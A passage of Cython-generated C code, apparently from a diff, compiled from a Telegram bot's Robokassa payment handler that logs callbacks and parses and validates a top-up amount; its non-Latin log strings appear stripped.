__PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_choosing_amount_robokassa); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 112, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 112, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":113 + * ) + * await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) + * logger.info(f"Displayed amount selection for user {tg_id}.") # <<<<<<<<<<<<<< + * + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_Displayed_amount_selection_for_u); + __pyx_t_4 += 36; + __Pyx_GIVEREF(__pyx_kp_u_Displayed_amount_selection_for_u); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_Displayed_amount_selection_for_u); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u__6); + __pyx_t_4 += 1; + __Pyx_GIVEREF(__pyx_kp_u__6); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__6); + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_2}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_AddTraceback("process_callback_pay_robokassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_6process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_6process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_6process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_6process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 116, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 116, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 116, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 116, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 116, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_5process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_5process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 116, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_7generator1, __pyx_codeobj__7, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + unsigned int __pyx_t_5; + int __pyx_t_6; + Py_ssize_t __pyx_t_7; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + int __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + Py_UCS4 __pyx_t_15; + PyObject *__pyx_t_16 = NULL; + int __pyx_t_17; + char const *__pyx_t_18; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L7_resume_from_await; + case 2: goto __pyx_L22_resume_from_await; + case 3: goto __pyx_L27_resume_from_await; + case 4: goto __pyx_L28_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":120 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * logger.info(f" callback_data: {callback_query.data}") # <<<<<<<<<<<<<< + * + * data = callback_query.data.split("|") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_callback_data_2, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":122 + * logger.info(f" callback_data: {callback_query.data}") + * + * data = callback_query.data.split("|") # <<<<<<<<<<<<<< + * if len(data) != 3 or data[1] != "amount": + * logger.error(": callback_data .") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":123 + * + * data = callback_query.data.split("|") + * if len(data) != 3 or data[1] != "amount": # <<<<<<<<<<<<<< + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") + */ + __pyx_t_7 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_7 == ((Py_ssize_t)-1))) __PYX_ERR(0, 123, __pyx_L1_error) + __pyx_t_8 = (__pyx_t_7 != 3); + if (!__pyx_t_8) { + } else { + __pyx_t_6 = __pyx_t_8; + goto __pyx_L5_bool_binop_done; + } + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_amount, Py_NE)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_6 = __pyx_t_8; + __pyx_L5_bool_binop_done:; + if (__pyx_t_6) { + + /* "handlers/payments/robokassa_pay.py":124 + * data = callback_query.data.split("|") + * if len(data) != 3 or data[1] != "amount": + * logger.error(": callback_data .") # <<<<<<<<<<<<<< + * await callback_query.message.answer(": .") + * return + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u_callback_data_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":125 + * if len(data) != 3 or data[1] != "amount": + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__9}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 125, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 125, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":126 + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") + * return # <<<<<<<<<<<<<< + * + * amount_str = data[2] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/robokassa_pay.py":123 + * + * data = callback_query.data.split("|") + * if len(data) != 3 or data[1] != "amount": # <<<<<<<<<<<<<< + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") + */ + } + + /* "handlers/payments/robokassa_pay.py":128 + * return + * + * amount_str = data[2] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 2, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":129 + * + * amount_str = data[2] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * if amount <= 0: + */ + { + __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_10, &__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":130 + * amount_str = data[2] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * if amount <= 0: + * raise ValueError(" .") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L8_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":131 + * try: + * amount = int(amount_str) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * except ValueError as e: + */ + __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L8_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) 